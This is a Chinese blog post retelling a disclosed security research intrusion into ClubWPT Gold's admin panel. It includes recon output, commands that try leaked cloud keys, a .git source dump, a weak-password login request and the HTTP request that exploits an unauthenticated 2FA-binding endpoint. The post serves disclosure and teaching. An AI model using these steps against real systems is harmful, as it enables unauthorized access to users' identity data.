白帽故事 · 2025年10月17日 0

入侵世界扑克巡回赛

概述

2025年6月,安全研究人员 Shubs Shah 和 Sam Curry 在在线扑克网站 ClubWPT Gold 中发现了一处安全漏洞,该漏洞允许攻击者完全访问用于所有管理功能的核心后台管理应用。

攻击者可能借此窃取驾照、护照号码、IP地址、交易记录、游戏历史等敏感信息。

漏洞报告后,ClubWPT迅速修复,确认该漏洞未被恶意利用,相关主机现已不可访问,双方均确认漏洞无法复现。


介绍

得知世界扑克巡回赛(World Poker Tour)推出了合法的美国在线扑克网站 ClubWPT Gold 后,白帽小哥注册账号并通过信用卡购买了“sweep coins”(可用于游戏的积分),从而参与赌bo比赛。

随着深入体验,作者对 ClubWPT Gold 的技术架构产生了好奇,开始调查网站。


奇怪的域名

在分析游戏时,作者发现 JavaScript 环境变量中有一个奇怪的 URL:

VITE_URL_AMOE_CODE:"https://apigate.clubwpt.liuxinyi1.cn/amoeserver"

该域名“liuxinyi1.cn”是中国域名,和 ClubWPT Gold(美国公司)无关,该域下存在众多与 ClubWPT Gold 服务相关的子域,如:

coin-admin.clubwpt.liuxinyi1.cn
proxy-server.clubwpt.liuxinyi1.cn
gameserver.clubwpt-dev.liuxinyi1.cn
...
zlz@sd-156740 ~> subs liuxinyi1.cn | grep -i clubwpt

coin-admin.clubwpt-dev.liuxinyi1.cn -> 18.142.27.164
proxy-server.clubwpt.liuxinyi1.cn -> 54.251.42.68
gameserver.clubwpt-dev.liuxinyi1.cn -> 18.142.27.164
coin-admin-kai.clubwpt.liuxinyi1.cn -> 54.251.42.68
reverse-proxy.clubwpt.liuxinyi1.cn -> 54.251.42.68
coin-admin-ek.clubwpt.liuxinyi1.cn -> 54.251.42.68
mtt-resource.clubwpt.liuxinyi1.cn -> 54.251.42.68
reverse-proxy.clubwpt-dev.liuxinyi1.cn -> 18.142.27.164
mtt-apimtt.clubwpt.liuxinyi1.cn -> 54.251.42.68
release-wc.frontend.clubwpt.liuxinyi1.cn -> 54.251.42.68
world.clubwpt.liuxinyi1.cn -> 54.251.42.68
vue-alli.clubwpt-dev.liuxinyi1.cn -> 18.142.27.164
clubwpt.liuxinyi1.cn -> 13.250.188.192
ploserver.clubwpt.liuxinyi1.cn -> 54.251.42.68

其中最值得关注的是 coin-admin.clubwpt.liuxinyi1.cn ,这是一个通用登录页面,疑似后台管理系统入口。

疑似后台管理系统


漏洞挖掘

利用工具 ffuf 扫描站点,发现有未受保护的目录和文件:

  • .env: 包含大量秘密密钥,包括阿里云凭证等
  • .git 目录:暴露了后台管理面板的全部源代码

file

使用阿里云 CLI 工具测试阿里云凭证,发现无任何权限。

zlz@sd-156740 ~> export ALIBABA_CLOUD_ACCESS_KEY_ID=KEY_ID_FROM_ENV
zlz@sd-156740 ~> export ALIBABA_CLOUD_ACCESS_KEY_SECRET=KEY_SECRET_FROM_ENV
zlz@sd-156740 ~> aliyun oss ls oss://bucket-name-leaked-in-env/
ERROR: oss: service returned error: StatusCode=403, ErrorCode=AccessDenied, ErrorMessage="The bucket you access does not belong to you.", RequestId=68B6D3EDCD8814372859C7C9, Ec=0003-00000001, Bucket=bucket-name-leaked-in-env, Object=

通过 Python3 的 GitHack 工具,成功下载完整后台代码,涉及数百个 PHP 文件。

python3 GitHack.py https://coin-admin.clubwpt.liuxinyi1.cn/.git/

获取后台源代码

代码审查后,发现核心认证机制还是比较靠谱的,但存在一个2FA(双重认证)的绕过漏洞,但缺少合法账户来验证该漏洞。


默认账号及弱口令

“.env”文件中有这样一行有趣的内容::

manager = jake,eg3478,mike2278,develop

这些看起来像是硬编码到环境变量中的用户名,通过检查源代码,发现网站使用这些值来为某些用户分配应用程序的管理权限,因此它们可能是有效的账户。

利用 Burp Suite 的 intruder 工具对“123456”和“admin”等弱口令进行尝试,所有响应都是“无效密码”。

其中一个结果会重定向到“index.html”。

请求包:

POST /admin/login/index.html HTTP/2
Host: coin-admin.clubwpt.liuxinyi1.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 49

username=eg3478&password=123456&change_timezone=PST

响应包:

HTTP/2 302 Found
Location: /admin/login/index.html
Set-Cookie: s46ea418a=c438f2a0dd6ab3022939d4bf339dce63; path=/; HttpOnly

测试弱密码如“123456”,发现用户“eg3478”密码正确,并且未启用2FA,于是成功登录后台测试环境!

该后台包含丰富管理功能:查看用户KYC(身份验证)信息、增删账户积分、禁止账户、查询游戏历史等,但由于是测试环境,数据均为假数据。


入侵生产环境后台

通过子域名查找和证书枚举,发现生产环境后台管理页面 coin-admin.clubwptgold.com ,启用了 Cloudflare Zero Trust 防护。

zlz@sd-156740 ~> subs clubwptgold.com | grep -i admin

https://coin-admin.clubwptgold.com [403] [] [4517] [Attention Required! | Cloudflare] [Cloudflare,HTTP/3]

尝试使用测试环境认证信息登录成功,但遭遇2FA。

file

借助之前发现的2FA绕过漏洞,利用未认证接口修改任意用户的2FA密钥,成功绕过2FA登录生产后台。

function bind() {

    // values pulled from user input
    $secret  = input("secret");   // attacker controls this
    $user_id = input("uid");      // attacker controls this

    // check if user already has a 2FA record
    $record = DB.find("UserOtp", where uid = $user_id);

    if ($record exists) {
        // update with attacker-supplied secret
        DB.update("UserOtp", where uid = $user_id, data = {
            secret      => $secret,
            update_time => now()
        });
    } else {
        // insert new record for attacker-chosen uid
        DB.insert("UserOtp", data = {
            uid         => $user_id,
            secret      => $secret,
            create_time => now(),
            update_time => now()
        });
    }

    // always returns "success"
    return json({
        code => 0,
        url  => "/admin/otp/index"
    });
}

请求包:

POST /admin/otp/bind HTTP/2
Host: origin_ip_of_production_admin_panel
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 33

uid=10009&secret=XN5XPR72SDX2U3M2

响应包:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 65

{
  "code": 0,
  "url": "/admin/otp/index"
}

登录后见到真实用户数据,包括 Gmail 地址、电话及完整的 KYC 信息。

后台还可查看存款、充值记录、AMOE 请求、用户IP及地理坐标、财务统计等敏感数据。


反馈与修复

在发现真实用户隐私信息后,作者团队立刻停止了进一步操作,第一时间联系了 ClubWPT Gold 多位负责人,最终与平台基础架构负责人建立了联系。

漏洞披露后,ClubWPT Gold 迅速修复,态度积极配合确保问题彻底解决。


原文:https://samcurry.net/hacking-clubwpt-gold